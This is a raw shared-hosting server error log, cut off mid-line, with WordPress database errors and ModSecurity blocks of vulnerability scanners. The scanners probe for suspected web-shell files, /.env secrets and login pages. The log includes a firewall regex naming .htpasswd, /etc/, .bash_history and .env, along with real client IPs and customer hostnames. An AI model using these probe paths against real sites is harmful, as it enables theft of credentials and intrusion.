('_transient_jetpack_update_remote_package_last_query', '1781395813', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`) made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\\Jetpack\\Connection\\Package_Version_Tracker->maybe_update_package_versions, Automattic\\Jetpack\\Connection\\Package_Version_Tracker->is_rate_limiting, set_transient, add_option\n [Sat Jun 13 18:10:13.299159 2026] [lsapi:warn] [pid 531797:tid 532010] [client 173.254.29.157:38786] [host nelsonfarmstn.com] Backend log: WordPress database error Commands out of sync; you can't run this command now for query SELECT option_value FROM wp_options WHERE option_name = 'action_scheduler_lock_async-request-runner' made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->maybe_dispatch_async_request, ActionScheduler_Lock->is_locked, ActionScheduler_OptionLock->get_expiration, ActionScheduler_OptionLock->get_existing_lock\n [Sat Jun 13 18:10:13.299202 2026] [lsapi:warn] [pid 531797:tid 532010] [client 173.254.29.157:38786] [host nelsonfarmstn.com] Backend log: WordPress database error Commands out of sync; you can't run this command now for query SELECT option_value FROM wp_options WHERE option_name = 'action_scheduler_lock_async-request-runner' made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->maybe_dispatch_async_request, ActionScheduler_OptionLock->set, ActionScheduler_OptionLock->get_existing_lock\n [Sat Jun 13 18:10:13.299208 2026] [lsapi:warn] [pid 531797:tid 532010] [client 173.254.29.157:38786] [host nelsonfarmstn.com] Backend log: WordPress database error Commands out of sync; you can't run this command now for query SHOW FULL COLUMNS FROM `wp_options` made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_QueueRunner->maybe_dispatch_async_request, ActionScheduler_OptionLock->set\n [Sat Jun 13 18:10:13.299546 2026] [lsapi:warn] [pid 531797:tid 532010] [client 173.254.29.157:38786] [host nelsonfarmstn.com] Backend log: WordPress database error Commands out of sync; you can't run this command now for query SHOW FULL COLUMNS FROM `wp_actionscheduler_actions` made by shutdown_action_hook, do_action('shutdown'), WP_Hook->do_action, WP_Hook->apply_filters, ActionScheduler_FatalErrorMonitor->handle_unexpected_shutdown, ActionScheduler_DBStore->mark_failure\n [Sat Jun 13 18:10:13.299569 2026] [lsapi:error] [pid 531797:tid 532010] [client 173.254.29.157:38786] [host nelsonfarmstn.com] Backend fatal error: PHP Fatal error: Uncaught InvalidArgumentException: Unidentified action 399734: we were unable to mark this action as having failed. It may may have been deleted by another process. in /home1/thenelso/public_html/wp-content/plugins/woocommerce/packages/action-scheduler/classes/data-stores/ActionScheduler_DBStore.php:1232\nStack trace:\n#0 /home1/thenelso/public_html/wp-content/plugins/woocommerce/packages/action-scheduler/classes/ActionScheduler_FatalErrorMonitor.php(90): ActionScheduler_DBStore->mark_failure(399734)\n#1 /home1/thenelso/public_html/wp-includes/class-wp-hook.php(341): ActionScheduler_FatalErrorMonitor->handle_unexpected_shutdown('')\n#2 /home1/thenelso/public_html/wp-includes/class-wp-hook.php(365): WP_Hook->apply_filters(NULL, Array)\n#3 /home1/thenelso/public_html/wp-includes/plugin.php(522): WP_Hook->do_action(Array)\n#4 /home1/thenelso/public_html/wp-includes/load.php(1308): do_action('shutdown')\n#5 [internal function]: shutdown_action_hook()\n#6 {main}\n thrown in /home1/thenelso/public_html/wp-content/plugins/woocommerce/packages/action-scheduler/classes/data-stores/ActionScheduler_DBStore.php on line 1232\n [Sat Jun 13 18:10:13.327441 2026] [security2:error] [pid 531155:tid 531204] [remote 17.22.245.168:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 168.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xZSmiP80klyS0Nnr2GwABODA"] [Sat Jun 13 18:10:13.370661 2026] [access_compat:error] [pid 531797:tid 531939] [remote 57.141.14.14:57118] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:13.370947 2026] [access_compat:error] [pid 531797:tid 531939] [remote 57.141.14.14:57118] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:13.388203 2026] [access_compat:error] [pid 531155:tid 531231] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2V2ZW50MC9zdWJzeXN0ZW0vaW5wdXQ0L3Bvd2Vy [Sat Jun 13 18:10:13.388555 2026] [access_compat:error] [pid 531155:tid 531231] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2V2ZW50MC9zdWJzeXN0ZW0vaW5wdXQ0L3Bvd2Vy [Sat Jun 13 18:10:13.467189 2026] [security2:error] [pid 531797:tid 531881] [remote 17.241.227.168:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 168.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xZcTA7b1mZrmcA-8iWwACThE"] [Sat Jun 13 18:10:13.480692 2026] [security2:error] [pid 531797:tid 532059] [client 20.151.217.54:24044] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.appludi.com"] [uri "/wp-scanner.php"] [unique_id "ai3xZcTA7b1mZrmcA-8iXAAAAlE"] [Sat Jun 13 18:10:13.604719 2026] [security2:error] [pid 531155:tid 531229] [remote 17.246.23.68:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 68.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xZSmiP80klyS0Nnr2IAABY0k"] [Sat Jun 13 18:10:13.626410 2026] [access_compat:error] [pid 531797:tid 531886] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9saWI2NA== [Sat Jun 13 18:10:13.626687 2026] [access_compat:error] [pid 531797:tid 531886] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9saWI2NA== [Sat Jun 13 18:10:13.657927 2026] [security2:error] [pid 531797:tid 532128] [client 20.151.217.54:23980] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.appludi.com"] [uri "/crgio.php"] [unique_id "ai3xZcTA7b1mZrmcA-8iYgAAApM"] [Sat Jun 13 18:10:13.930626 2026] [access_compat:error] [pid 531155:tid 531165] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vZXZlbnQ0 [Sat Jun 13 18:10:13.931105 2026] [access_compat:error] [pid 531155:tid 531165] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vZXZlbnQ0 [Sat Jun 13 18:10:13.931463 2026] [security2:error] [pid 531155:tid 531186] [remote 17.246.15.98:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 98.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xZSmiP80klyS0Nnr2JQABRh4"] [Sat Jun 13 18:10:13.956132 2026] [security2:error] [pid 531155:tid 531373] [client 20.151.217.54:23996] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.appludi.com"] [uri "/ops.php"] [unique_id "ai3xZSmiP80klyS0Nnr2JwAAAWI"] [Sat Jun 13 18:10:14.160721 2026] [access_compat:error] [pid 531797:tid 531937] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9saWI2NA== [Sat Jun 13 18:10:14.161013 2026] [access_compat:error] [pid 531797:tid 531937] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9saWI2NA== [Sat Jun 13 18:10:14.197034 2026] [security2:error] [pid 531797:tid 532094] [client 20.151.217.54:23976] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.appludi.com"] [uri "/fix.php"] [unique_id "ai3xZsTA7b1mZrmcA-8icAAAAnM"] [Sat Jun 13 18:10:14.197091 2026] [security2:error] [pid 531797:tid 531895] [remote 17.241.227.7:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 7.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xZsTA7b1mZrmcA-8icgACFh8"] [Sat Jun 13 18:10:14.206266 2026] [access_compat:error] [pid 531797:tid 531885] [remote 57.141.14.52:36260] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:14.206574 2026] [access_compat:error] [pid 531797:tid 531885] [remote 57.141.14.52:36260] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:14.228124 2026] [access_compat:error] [pid 531155:tid 531267] [remote 57.141.14.66:21310] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:14.228606 2026] [access_compat:error] [pid 531155:tid 531267] [remote 57.141.14.66:21310] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:14.395640 2026] [security2:error] [pid 531797:tid 531977] [remote 17.241.227.245:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 245.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xZsTA7b1mZrmcA-8ieQACh3A"] [Sat Jun 13 18:10:14.411607 2026] [security2:error] [pid 531797:tid 531893] [remote 157.90.174.226:46302] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 226.174.90.157.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "spectastore.com.ng"] [uri "/wp-login.php"] [unique_id "ai3xZsTA7b1mZrmcA-8iegACdB0"] [Sat Jun 13 18:10:14.439248 2026] [security2:error] [pid 531155:tid 531336] [client 128.140.106.114:13054] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "200"] [hostname "cityofmarional.com"] [uri "/index.php"] [unique_id "ai3xZimiP80klyS0Nnr2LAAAAT0"], referer: https://cityofmarional.com [Sat Jun 13 18:10:14.456133 2026] [security2:error] [pid 531155:tid 531320] [client 34.170.189.242:11562] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bollytechgroup.nucreativesolutions.com"] [uri "/.env"] [unique_id "ai3xZimiP80klyS0Nnr2MwAAAS0"] [Sat Jun 13 18:10:14.467708 2026] [access_compat:error] [pid 531155:tid 531160] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvZGV2aWNlL2V2ZW50NC9zdWJzeXN0ZW0vaW5wdXQxL3Bvd2Vy [Sat Jun 13 18:10:14.468194 2026] [access_compat:error] [pid 531155:tid 531160] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvZGV2aWNlL2V2ZW50NC9zdWJzeXN0ZW0vaW5wdXQxL3Bvd2Vy [Sat Jun 13 18:10:14.538599 2026] [security2:error] [pid 531155:tid 531257] [remote 17.246.15.140:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 140.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xZimiP80klyS0Nnr2NAABK2U"] [Sat Jun 13 18:10:14.593705 2026] [security2:error] [pid 531797:tid 531997] [client 20.151.217.54:24039] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.appludi.com"] [uri "/htto.php"] [unique_id "ai3xZsTA7b1mZrmcA-8ifgAAAhU"] [Sat Jun 13 18:10:14.625998 2026] [access_compat:error] [pid 531155:tid 531273] [remote 57.141.14.33:44055] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:14.626431 2026] [access_compat:error] [pid 531155:tid 531273] [remote 57.141.14.33:44055] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:14.677858 2026] [access_compat:error] [pid 531797:tid 531927] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9saWI2NA== [Sat Jun 13 18:10:14.678276 2026] [access_compat:error] [pid 531797:tid 531927] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9saWI2NA== [Sat Jun 13 18:10:14.793926 2026] [security2:error] [pid 531155:tid 531218] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/app/.env"] [unique_id "ai3xZimiP80klyS0Nnr2OQABKT4"] [Sat Jun 13 18:10:14.794917 2026] [security2:error] [pid 531155:tid 531328] [client 20.151.217.54:24009] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.appludi.com"] [uri "/mg.php"] [unique_id "ai3xZimiP80klyS0Nnr2OgAAATU"] [Sat Jun 13 18:10:15.031693 2026] [access_compat:error] [pid 531155:tid 531198] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDYvcG93ZXI= [Sat Jun 13 18:10:15.032142 2026] [access_compat:error] [pid 531155:tid 531198] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDYvcG93ZXI= [Sat Jun 13 18:10:15.179412 2026] [access_compat:error] [pid 531797:tid 531901] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9saWI2NC9hdXRvZnM= [Sat Jun 13 18:10:15.179869 2026] [access_compat:error] [pid 531797:tid 531901] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9saWI2NC9hdXRvZnM= [Sat Jun 13 18:10:15.208334 2026] [security2:error] [pid 531797:tid 532092] [client 20.151.217.54:24003] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.appludi.com"] [uri "/spawns.php"] [unique_id "ai3xZ8TA7b1mZrmcA-8imQAAAnE"] [Sat Jun 13 18:10:15.362579 2026] [security2:error] [pid 531797:tid 532074] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/fprintf_variation_007.phpt"] [unique_id "ai3xZ8TA7b1mZrmcA-8inAAAAmA"] [Sat Jun 13 18:10:15.373412 2026] [security2:error] [pid 531797:tid 532005] [client 20.151.217.54:15316] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "jugglepro.org"] [uri "/fff.php"] [unique_id "ai3xZ8TA7b1mZrmcA-8inQAAAh0"] [Sat Jun 13 18:10:15.430019 2026] [security2:error] [pid 531797:tid 532039] [client 172.171.3.232:34845] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/bkyac.php"] [unique_id "ai3xZ8TA7b1mZrmcA-8inwAAAj4"] [Sat Jun 13 18:10:15.546506 2026] [access_compat:error] [pid 531155:tid 531280] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 